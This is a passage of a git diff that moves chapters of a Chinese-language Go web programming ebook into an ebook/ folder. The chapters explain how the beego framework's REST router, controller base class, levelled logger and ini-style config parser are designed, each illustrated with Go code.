method = vc.MethodByName("Post")
|
||||
method.Call(in)
|
||||
} else if r.Method == "HEAD" {
|
||||
method = vc.MethodByName("Head")
|
||||
method.Call(in)
|
||||
} else if r.Method == "DELETE" {
|
||||
method = vc.MethodByName("Delete")
|
||||
method.Call(in)
|
||||
} else if r.Method == "PUT" {
|
||||
method = vc.MethodByName("Put")
|
||||
method.Call(in)
|
||||
} else if r.Method == "PATCH" {
|
||||
method = vc.MethodByName("Patch")
|
||||
method.Call(in)
|
||||
} else if r.Method == "OPTIONS" {
|
||||
method = vc.MethodByName("Options")
|
||||
method.Call(in)
|
||||
}
|
||||
if AutoRender {
|
||||
method = vc.MethodByName("Render")
|
||||
method.Call(in)
|
||||
}
|
||||
method = vc.MethodByName("Finish")
|
||||
method.Call(in)
|
||||
started = true
|
||||
break
|
||||
}
|
||||
|
||||
//if no matches to url, throw a not found exception
|
||||
if started == false {
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
### 使用入门
|
||||
基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示:
|
||||
|
||||
基本的使用注册路由:
|
||||
|
||||
beego.BeeApp.RegisterController("/", &controllers.MainController{})
|
||||
|
||||
参数注册:
|
||||
|
||||
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
|
||||
|
||||
正则匹配:
|
||||
|
||||
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [项目规划](<13.1.md>)
|
||||
* 下一节: [controller设计](<13.3.md>)
|
||||
# 13.2 自定义路由器设计
|
||||
|
||||
## HTTP路由
|
||||
HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括:
|
||||
|
||||
- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11)
|
||||
- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等)
|
||||
|
||||
路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。
|
||||
## 默认的路由实现
|
||||
在3.4小节有过介绍Go的http包的详解,里面介绍了Go的http包如何设计和实现路由,这里继续以一个例子来说明:
|
||||
|
||||
func fooHandler(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
|
||||
}
|
||||
|
||||
http.Handle("/foo", fooHandler)
|
||||
|
||||
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
|
||||
})
|
||||
|
||||
log.Fatal(http.ListenAndServe(":8080", nil))
|
||||
|
||||
上面的例子调用了http默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点:
|
||||
|
||||
- 添加路由信息
|
||||
- 根据用户请求转发到要执行的函数
|
||||
|
||||
Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。
|
||||
|
||||
Go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL进行匹配,以查询对应注册的处理函数,这样就实现了上面所说的第二点。
|
||||
|
||||
for k, v := range mux.m {
|
||||
if !pathMatch(k, path) {
|
||||
continue
|
||||
}
|
||||
if h == nil || len(k) > n {
|
||||
n = len(k)
|
||||
h = v.h
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
## beego框架路由实现
|
||||
目前几乎所有的Web应用路由实现都是基于http默认的路由器,但是Go自带的路由器有几个限制:
|
||||
|
||||
- 不支持参数设定,例如/user/:uid 这种泛类型匹配
|
||||
- 无法很好的支持REST模式,无法限制访问的方法,例如上面的例子中,用户访问/foo,可以用GET、POST、DELETE、HEAD等方式访问
|
||||
- 一般网站的路由规则太多了,编写繁琐。我前面自己开发了一个API应用,路由规则有三十几条,这种路由多了之后其实可以进一步简化,通过struct的方法进行一种简化
|
||||
|
||||
beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现,路由设计也是基于上面Go默认设计的两点来考虑:存储路由和转发路由
|
||||
|
||||
### 存储路由
|
||||
针对前面所说的限制点,我们首先要解决参数支持就需要用到正则,第二和第三点我们通过一种变通的方法来解决,REST的方法对应到struct的方法中去,然后路由到struct而不是函数,这样在转发路由的时候就可以根据method来执行不同的方法。
|
||||
|
||||
根据上面的思路,我们设计了两个数据类型controllerInfo(保存路径和对应的struct,这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息)
|
||||
|
||||
type controllerInfo struct {
|
||||
regex *regexp.Regexp
|
||||
params map[int]string
|
||||
controllerType reflect.Type
|
||||
}
|
||||
|
||||
type ControllerRegistor struct {
|
||||
routers []*controllerInfo
|
||||
Application *App
|
||||
}
|
||||
|
||||
|
||||
ControllerRegistor对外的接口函数有
|
||||
|
||||
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface)
|
||||
|
||||
详细的实现如下所示:
|
||||
|
||||
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
|
||||
parts := strings.Split(pattern, "/")
|
||||
|
||||
j := 0
|
||||
params := make(map[int]string)
|
||||
for i, part := range parts {
|
||||
if strings.HasPrefix(part, ":") {
|
||||
expr := "([^/]+)"
|
||||
|
||||
//a user may choose to override the defult expression
|
||||
// similar to expressjs: ‘/user/:id([0-9]+)’
|
||||
|
||||
if index := strings.Index(part, "("); index != -1 {
|
||||
expr = part[index:]
|
||||
part = part[:index]
|
||||
}
|
||||
params[j] = part
|
||||
parts[i] = expr
|
||||
j++
|
||||
}
|
||||
}
|
||||
|
||||
//recreate the url pattern, with parameters replaced
|
||||
//by regular expressions. then compile the regex
|
||||
|
||||
pattern = strings.Join(parts, "/")
|
||||
regex, regexErr := regexp.Compile(pattern)
|
||||
if regexErr != nil {
|
||||
|
||||
//TODO add error handling here to avoid panic
|
||||
panic(regexErr)
|
||||
return
|
||||
}
|
||||
|
||||
//now create the Route
|
||||
t := reflect.Indirect(reflect.ValueOf(c)).Type()
|
||||
route := &controllerInfo{}
|
||||
route.regex = regex
|
||||
route.params = params
|
||||
route.controllerType = t
|
||||
|
||||
p.routers = append(p.routers, route)
|
||||
|
||||
}
|
||||
|
||||
### 静态路由实现
|
||||
上面我们实现的动态路由的实现,Go的http包默认支持静态文件处理FileServer,由于我们实现了自定义的路由器,那么静态文件也需要自己设定,beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型,实现如下:
|
||||
|
||||
func (app *App) SetStaticPath(url string, path string) *App {
|
||||
StaticDir[url] = path
|
||||
return app
|
||||
}
|
||||
|
||||
应用中设置静态路径可以使用如下方式实现:
|
||||
|
||||
beego.SetStaticPath("/img","/static/img")
|
||||
|
||||
|
||||
### 转发路由
|
||||
转发路由是基于ControllerRegistor里的路由信息来进行转发的,详细的实现如下代码所示:
|
||||
|
||||
// AutoRoute
|
||||
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
if !RecoverPanic {
|
||||
// go back to panic
|
||||
panic(err)
|
||||
} else {
|
||||
Critical("Handler crashed with error", err)
|
||||
for i := 1; ; i += 1 {
|
||||
_, file, line, ok := runtime.Caller(i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
Critical(file, line)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
var started bool
|
||||
for prefix, staticDir := range StaticDir {
|
||||
if strings.HasPrefix(r.URL.Path, prefix) {
|
||||
file := staticDir + r.URL.Path[len(prefix):]
|
||||
http.ServeFile(w, r, file)
|
||||
started = true
|
||||
return
|
||||
}
|
||||
}
|
||||
requestPath := r.URL.Path
|
||||
|
||||
//find a matching Route
|
||||
for _, route := range p.routers {
|
||||
|
||||
//check if Route pattern matches url
|
||||
if !route.regex.MatchString(requestPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
//get submatches (params)
|
||||
matches := route.regex.FindStringSubmatch(requestPath)
|
||||
|
||||
//double check that the Route matches the URL pattern.
|
||||
if len(matches[0]) != len(requestPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
params := make(map[string]string)
|
||||
if len(route.params) > 0 {
|
||||
//add url parameters to the query param map
|
||||
values := r.URL.Query()
|
||||
for i, match := range matches[1:] {
|
||||
values.Add(route.params[i], match)
|
||||
params[route.params[i]] = match
|
||||
}
|
||||
|
||||
//reassemble query params and add to RawQuery
|
||||
r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
|
||||
//r.URL.RawQuery = url.Values(values).Encode()
|
||||
}
|
||||
//Invoke the request handler
|
||||
vc := reflect.New(route.controllerType)
|
||||
init := vc.MethodByName("Init")
|
||||
in := make([]reflect.Value, 2)
|
||||
ct := &Context{ResponseWriter: w, Request: r, Params: params}
|
||||
in[0] = reflect.ValueOf(ct)
|
||||
in[1] = reflect.ValueOf(route.controllerType.Name())
|
||||
init.Call(in)
|
||||
in = make([]reflect.Value, 0)
|
||||
method := vc.MethodByName("Prepare")
|
||||
method.Call(in)
|
||||
if r.Method == "GET" {
|
||||
method = vc.MethodByName("Get")
|
||||
method.Call(in)
|
||||
} else if r.Method == "POST" {
|
||||
method = vc.MethodByName("Post")
|
||||
method.Call(in)
|
||||
} else if r.Method == "HEAD" {
|
||||
method = vc.MethodByName("Head")
|
||||
method.Call(in)
|
||||
} else if r.Method == "DELETE" {
|
||||
method = vc.MethodByName("Delete")
|
||||
method.Call(in)
|
||||
} else if r.Method == "PUT" {
|
||||
method = vc.MethodByName("Put")
|
||||
method.Call(in)
|
||||
} else if r.Method == "PATCH" {
|
||||
method = vc.MethodByName("Patch")
|
||||
method.Call(in)
|
||||
} else if r.Method == "OPTIONS" {
|
||||
method = vc.MethodByName("Options")
|
||||
method.Call(in)
|
||||
}
|
||||
if AutoRender {
|
||||
method = vc.MethodByName("Render")
|
||||
method.Call(in)
|
||||
}
|
||||
method = vc.MethodByName("Finish")
|
||||
method.Call(in)
|
||||
started = true
|
||||
break
|
||||
}
|
||||
|
||||
//if no matches to url, throw a not found exception
|
||||
if started == false {
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
### 使用入门
|
||||
基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示:
|
||||
|
||||
基本的使用注册路由:
|
||||
|
||||
beego.BeeApp.RegisterController("/", &controllers.MainController{})
|
||||
|
||||
参数注册:
|
||||
|
||||
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
|
||||
|
||||
正则匹配:
|
||||
|
||||
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [项目规划](<13.1.md>)
|
||||
* 下一节: [controller设计](<13.3.md>)
|
||||
326
13.3.md → ebook/13.3.md
Executable file → Normal file
326
13.3.md → ebook/13.3.md
Executable file → Normal file
@@ -1,163 +1,163 @@
|
||||
# 13.3 controller设计
|
||||
|
||||
传统的MVC框架大多数是基于Action设计的后缀式映射,然而,现在Web流行REST风格的架构。尽管使用Filter或者rewrite能够通过URL重写实现REST风格的URL,但是为什么不直接设计一个全新的REST风格的 MVC框架呢?本小节就是基于这种思路来讲述如何从头设计一个基于REST风格的MVC框架中的controller,最大限度地简化Web应用的开发,甚至编写一行代码就可以实现“Hello, world”。
|
||||
|
||||
## controller作用
|
||||
MVC设计模式是目前Web应用开发中最常见的架构模式,通过分离 Model(模型)、View(视图)和 Controller(控制器),可以更容易实现易于扩展的用户界面(UI)。Model指后台返回的数据;View指需要渲染的页面,通常是模板页面,渲染后的内容通常是HTML;Controller指Web开发人员编写的处理不同URL的控制器,如前面小节讲述的路由就是URL请求转发到控制器的过程,controller在整个的MVC框架中起到了一个核心的作用,负责处理业务逻辑,因此控制器是整个框架中必不可少的一部分,Model和View对于有些业务需求是可以不写的,例如没有数据处理的逻辑处理,没有页面输出的302调整之类的就不需要Model和View,但是controller这一环节是必不可少的。
|
||||
|
||||
## beego的REST设计
|
||||
前面小节介绍了路由实现了注册struct的功能,而struct中实现了REST方式,因此我们需要设计一个用于逻辑处理controller的基类,这里主要设计了两个类型,一个struct、一个interface
|
||||
|
||||
type Controller struct {
|
||||
Ct *Context
|
||||
Tpl *template.Template
|
||||
Data map[interface{}]interface{}
|
||||
ChildName string
|
||||
TplNames string
|
||||
Layout []string
|
||||
TplExt string
|
||||
}
|
||||
|
||||
type ControllerInterface interface {
|
||||
Init(ct *Context, cn string) //初始化上下文和子类名称
|
||||
Prepare() //开始执行之前的一些处理
|
||||
Get() //method=GET的处理
|
||||
Post() //method=POST的处理
|
||||
Delete() //method=DELETE的处理
|
||||
Put() //method=PUT的处理
|
||||
Head() //method=HEAD的处理
|
||||
Patch() //method=PATCH的处理
|
||||
Options() //method=OPTIONS的处理
|
||||
Finish() //执行完成之后的处理
|
||||
Render() error //执行完method对应的方法之后渲染页面
|
||||
}
|
||||
|
||||
那么前面介绍的路由add函数的时候是定义了ControllerInterface类型,因此,只要我们实现这个接口就可以,所以我们的基类Controller实现如下的方法:
|
||||
|
||||
func (c *Controller) Init(ct *Context, cn string) {
|
||||
c.Data = make(map[interface{}]interface{})
|
||||
c.Layout = make([]string, 0)
|
||||
c.TplNames = ""
|
||||
c.ChildName = cn
|
||||
c.Ct = ct
|
||||
c.TplExt = "tpl"
|
||||
}
|
||||
|
||||
func (c *Controller) Prepare() {
|
||||
|
||||
}
|
||||
|
||||
func (c *Controller) Finish() {
|
||||
|
||||
}
|
||||
|
||||
func (c *Controller) Get() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Post() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Delete() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Put() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Head() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Patch() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Options() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Render() error {
|
||||
if len(c.Layout) > 0 {
|
||||
var filenames []string
|
||||
for _, file := range c.Layout {
|
||||
filenames = append(filenames, path.Join(ViewsPath, file))
|
||||
}
|
||||
t, err := template.ParseFiles(filenames...)
|
||||
if err != nil {
|
||||
Trace("template ParseFiles err:", err)
|
||||
}
|
||||
err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
|
||||
if err != nil {
|
||||
Trace("template Execute err:", err)
|
||||
}
|
||||
} else {
|
||||
if c.TplNames == "" {
|
||||
c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
|
||||
}
|
||||
t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
|
||||
if err != nil {
|
||||
Trace("template ParseFiles err:", err)
|
||||
}
|
||||
err = t.Execute(c.Ct.ResponseWriter, c.Data)
|
||||
if err != nil {
|
||||
Trace("template Execute err:", err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Controller) Redirect(url string, code int) {
|
||||
c.Ct.Redirect(code, url)
|
||||
}
|
||||
|
||||
上面的controller基类已经实现了接口定义的函数,通过路由根据url执行相应的controller的原则,会依次执行如下:
|
||||
|
||||
Init() 初始化
|
||||
Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数
|
||||
method() 根据不同的method执行不同的函数:GET、POST、PUT、HEAD等,子类来实现这些函数,如果没实现,那么默认都是403
|
||||
Render() 可选,根据全局变量AutoRender来判断是否执行
|
||||
Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数
|
||||
|
||||
## 应用指南
|
||||
上面beego框架中完成了controller基类的设计,那么我们在我们的应用中可以这样来设计我们的方法:
|
||||
|
||||
package controllers
|
||||
|
||||
import (
|
||||
"github.com/astaxie/beego"
|
||||
)
|
||||
|
||||
type MainController struct {
|
||||
beego.Controller
|
||||
}
|
||||
|
||||
func (this *MainController) Get() {
|
||||
this.Data["Username"] = "astaxie"
|
||||
this.Data["Email"] = "astaxie@gmail.com"
|
||||
this.TplNames = "index.tpl"
|
||||
}
|
||||
|
||||
上面的方式我们实现了子类MainController,实现了Get方法,那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403,而如果是Get来访问,因为我们设置了AutoRender=true,那么在执行玩Get方法之后会自动执行Render函数,就会显示如下界面:
|
||||
|
||||

|
||||
|
||||
index.tpl的代码如下所示,我们可以看到数据的设置和显示都是相当的简单方便:
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>beego welcome template</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello, world!{{.Username}},{{.Email}}</h1>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [自定义路由器设计](<13.2.md>)
|
||||
* 下一节: [日志和配置设计](<13.4.md>)
|
||||
# 13.3 controller设计
|
||||
|
||||
传统的MVC框架大多数是基于Action设计的后缀式映射,然而,现在Web流行REST风格的架构。尽管使用Filter或者rewrite能够通过URL重写实现REST风格的URL,但是为什么不直接设计一个全新的REST风格的 MVC框架呢?本小节就是基于这种思路来讲述如何从头设计一个基于REST风格的MVC框架中的controller,最大限度地简化Web应用的开发,甚至编写一行代码就可以实现“Hello, world”。
|
||||
|
||||
## controller作用
|
||||
MVC设计模式是目前Web应用开发中最常见的架构模式,通过分离 Model(模型)、View(视图)和 Controller(控制器),可以更容易实现易于扩展的用户界面(UI)。Model指后台返回的数据;View指需要渲染的页面,通常是模板页面,渲染后的内容通常是HTML;Controller指Web开发人员编写的处理不同URL的控制器,如前面小节讲述的路由就是URL请求转发到控制器的过程,controller在整个的MVC框架中起到了一个核心的作用,负责处理业务逻辑,因此控制器是整个框架中必不可少的一部分,Model和View对于有些业务需求是可以不写的,例如没有数据处理的逻辑处理,没有页面输出的302调整之类的就不需要Model和View,但是controller这一环节是必不可少的。
|
||||
|
||||
## beego的REST设计
|
||||
前面小节介绍了路由实现了注册struct的功能,而struct中实现了REST方式,因此我们需要设计一个用于逻辑处理controller的基类,这里主要设计了两个类型,一个struct、一个interface
|
||||
|
||||
type Controller struct {
|
||||
Ct *Context
|
||||
Tpl *template.Template
|
||||
Data map[interface{}]interface{}
|
||||
ChildName string
|
||||
TplNames string
|
||||
Layout []string
|
||||
TplExt string
|
||||
}
|
||||
|
||||
type ControllerInterface interface {
|
||||
Init(ct *Context, cn string) //初始化上下文和子类名称
|
||||
Prepare() //开始执行之前的一些处理
|
||||
Get() //method=GET的处理
|
||||
Post() //method=POST的处理
|
||||
Delete() //method=DELETE的处理
|
||||
Put() //method=PUT的处理
|
||||
Head() //method=HEAD的处理
|
||||
Patch() //method=PATCH的处理
|
||||
Options() //method=OPTIONS的处理
|
||||
Finish() //执行完成之后的处理
|
||||
Render() error //执行完method对应的方法之后渲染页面
|
||||
}
|
||||
|
||||
那么前面介绍的路由add函数的时候是定义了ControllerInterface类型,因此,只要我们实现这个接口就可以,所以我们的基类Controller实现如下的方法:
|
||||
|
||||
func (c *Controller) Init(ct *Context, cn string) {
|
||||
c.Data = make(map[interface{}]interface{})
|
||||
c.Layout = make([]string, 0)
|
||||
c.TplNames = ""
|
||||
c.ChildName = cn
|
||||
c.Ct = ct
|
||||
c.TplExt = "tpl"
|
||||
}
|
||||
|
||||
func (c *Controller) Prepare() {
|
||||
|
||||
}
|
||||
|
||||
func (c *Controller) Finish() {
|
||||
|
||||
}
|
||||
|
||||
func (c *Controller) Get() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Post() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Delete() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Put() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Head() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Patch() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Options() {
|
||||
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
|
||||
}
|
||||
|
||||
func (c *Controller) Render() error {
|
||||
if len(c.Layout) > 0 {
|
||||
var filenames []string
|
||||
for _, file := range c.Layout {
|
||||
filenames = append(filenames, path.Join(ViewsPath, file))
|
||||
}
|
||||
t, err := template.ParseFiles(filenames...)
|
||||
if err != nil {
|
||||
Trace("template ParseFiles err:", err)
|
||||
}
|
||||
err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
|
||||
if err != nil {
|
||||
Trace("template Execute err:", err)
|
||||
}
|
||||
} else {
|
||||
if c.TplNames == "" {
|
||||
c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
|
||||
}
|
||||
t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
|
||||
if err != nil {
|
||||
Trace("template ParseFiles err:", err)
|
||||
}
|
||||
err = t.Execute(c.Ct.ResponseWriter, c.Data)
|
||||
if err != nil {
|
||||
Trace("template Execute err:", err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Controller) Redirect(url string, code int) {
|
||||
c.Ct.Redirect(code, url)
|
||||
}
|
||||
|
||||
上面的controller基类已经实现了接口定义的函数,通过路由根据url执行相应的controller的原则,会依次执行如下:
|
||||
|
||||
Init() 初始化
|
||||
Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数
|
||||
method() 根据不同的method执行不同的函数:GET、POST、PUT、HEAD等,子类来实现这些函数,如果没实现,那么默认都是403
|
||||
Render() 可选,根据全局变量AutoRender来判断是否执行
|
||||
Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数
|
||||
|
||||
## 应用指南
|
||||
上面beego框架中完成了controller基类的设计,那么我们在我们的应用中可以这样来设计我们的方法:
|
||||
|
||||
package controllers
|
||||
|
||||
import (
|
||||
"github.com/astaxie/beego"
|
||||
)
|
||||
|
||||
type MainController struct {
|
||||
beego.Controller
|
||||
}
|
||||
|
||||
func (this *MainController) Get() {
|
||||
this.Data["Username"] = "astaxie"
|
||||
this.Data["Email"] = "astaxie@gmail.com"
|
||||
this.TplNames = "index.tpl"
|
||||
}
|
||||
|
||||
上面的方式我们实现了子类MainController,实现了Get方法,那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403,而如果是Get来访问,因为我们设置了AutoRender=true,那么在执行玩Get方法之后会自动执行Render函数,就会显示如下界面:
|
||||
|
||||

|
||||
|
||||
index.tpl的代码如下所示,我们可以看到数据的设置和显示都是相当的简单方便:
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>beego welcome template</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello, world!{{.Username}},{{.Email}}</h1>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [自定义路由器设计](<13.2.md>)
|
||||
* 下一节: [日志和配置设计](<13.4.md>)
|
||||
494
13.4.md → ebook/13.4.md
Executable file → Normal file
494
13.4.md → ebook/13.4.md
Executable file → Normal file
@@ -1,248 +1,248 @@
|
||||
# 13.4 日志和配置设计
|
||||
|
||||
## 日志和配置的重要性
|
||||
前面已经介绍过日志在我们程序开发中起着很重要的作用,通过日志我们可以记录调试我们的信息,当初介绍过一个日志系统seelog,根据不同的level输出不同的日志,这个对于程序开发和程序部署来说至关重要。我们可以在程序开发中设置level低一点,部署的时候把level设置高,这样我们开发中的调试信息可以屏蔽掉。
|
||||
|
||||
配置模块对于应用部署牵涉到服务器不同的一些配置信息非常有用,例如一些数据库配置信息、监听端口、监听地址等都是可以通过配置文件来配置,这样我们的应用程序就具有很强的灵活性,可以通过配置文件的配置部署在不同的机器上,可以连接不同的数据库之类的。
|
||||
|
||||
## beego的日志设计
|
||||
beego的日志设计部署思路来自于seelog,根据不同的level来记录日志,但是beego设计的日志系统比较轻量级,采用了系统的log.Logger接口,默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出,详细的实现如下所示:
|
||||
|
||||
|
||||
// Log levels to control the logging output.
|
||||
const (
|
||||
LevelTrace = iota
|
||||
LevelDebug
|
||||
LevelInfo
|
||||
LevelWarning
|
||||
LevelError
|
||||
LevelCritical
|
||||
)
|
||||
|
||||
// logLevel controls the global log level used by the logger.
|
||||
var level = LevelTrace
|
||||
|
||||
// LogLevel returns the global log level and can be used in
|
||||
// own implementations of the logger interface.
|
||||
func Level() int {
|
||||
return level
|
||||
}
|
||||
|
||||
// SetLogLevel sets the global log level used by the simple
|
||||
// logger.
|
||||
func SetLevel(l int) {
|
||||
level = l
|
||||
}
|
||||
|
||||
上面这一段实现了日志系统的日志分级,默认的级别是Trace,用户通过SetLevel可以设置不同的分级。
|
||||
|
||||
// logger references the used application logger.
|
||||
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)
|
||||
|
||||
// SetLogger sets a new logger.
|
||||
func SetLogger(l *log.Logger) {
|
||||
BeeLogger = l
|
||||
}
|
||||
|
||||
// Trace logs a message at trace level.
|
||||
func Trace(v ...interface{}) {
|
||||
if level <= LevelTrace {
|
||||
BeeLogger.Printf("[T] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Debug logs a message at debug level.
|
||||
func Debug(v ...interface{}) {
|
||||
if level <= LevelDebug {
|
||||
BeeLogger.Printf("[D] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Info logs a message at info level.
|
||||
func Info(v ...interface{}) {
|
||||
if level <= LevelInfo {
|
||||
BeeLogger.Printf("[I] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Warning logs a message at warning level.
|
||||
func Warn(v ...interface{}) {
|
||||
if level <= LevelWarning {
|
||||
BeeLogger.Printf("[W] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Error logs a message at error level.
|
||||
func Error(v ...interface{}) {
|
||||
if level <= LevelError {
|
||||
BeeLogger.Printf("[E] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Critical logs a message at critical level.
|
||||
func Critical(v ...interface{}) {
|
||||
if level <= LevelCritical {
|
||||
BeeLogger.Printf("[C] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
上面这一段代码默认初始化了一个BeeLogger对象,默认输出到os.Stdout,用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数:
|
||||
|
||||
- Trace(一般的记录信息,举例如下:)
|
||||
- "Entered parse function validation block"
|
||||
- "Validation: entered second 'if'"
|
||||
- "Dictionary 'Dict' is empty. Using default value"
|
||||
- Debug(调试信息,举例如下:)
|
||||
- "Web page requested: http://somesite.com Params='...'"
|
||||
- "Response generated. Response size: 10000. Sending."
|
||||
- "New file received. Type:PNG Size:20000"
|
||||
- Info(打印信息,举例如下:)
|
||||
- "Web server restarted"
|
||||
- "Hourly statistics: Requested pages: 12345 Errors: 123 ..."
|
||||
- "Service paused. Waiting for 'resume' call"
|
||||
- Warn(警告信息,举例如下:)
|
||||
- "Cache corrupted for file='test.file'. Reading from back-end"
|
||||
- "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
|
||||
- "No response from statistics server. Statistics not sent"
|
||||
- Error(错误信息,举例如下:)
|
||||
- "Internal error. Cannot process request #12345 Error:...."
|
||||
- "Cannot perform login: credentials DB not responding"
|
||||
- Critical(致命错误,举例如下:)
|
||||
- "Critical panic received: .... Shutting down"
|
||||
- "Fatal error: ... App is shutting down to prevent data corruption or loss"
|
||||
|
||||
可以看到每个函数里面都有对level的判断,所以如果我们在部署的时候设置了level=LevelWarning,那么Trace、Debug、Info这三个函数都不会有任何的输出,以此类推。
|
||||
|
||||
## beego的配置设计
|
||||
配置信息的解析,beego实现了一个key=value的配置文件读取,类似ini配置文件的格式,就是一个文件解析的过程,然后把解析的数据保存到map中,最后在调用的时候通过几个string、int之类的函数调用返回相应的值,具体的实现请看下面:
|
||||
|
||||
首先定义了一些ini配置文件的一些全局性常量 :
|
||||
|
||||
var (
|
||||
bComment = []byte{'#'}
|
||||
bEmpty = []byte{}
|
||||
bEqual = []byte{'='}
|
||||
bDQuote = []byte{'"'}
|
||||
)
|
||||
|
||||
定义了配置文件的格式:
|
||||
|
||||
// A Config represents the configuration.
|
||||
type Config struct {
|
||||
filename string
|
||||
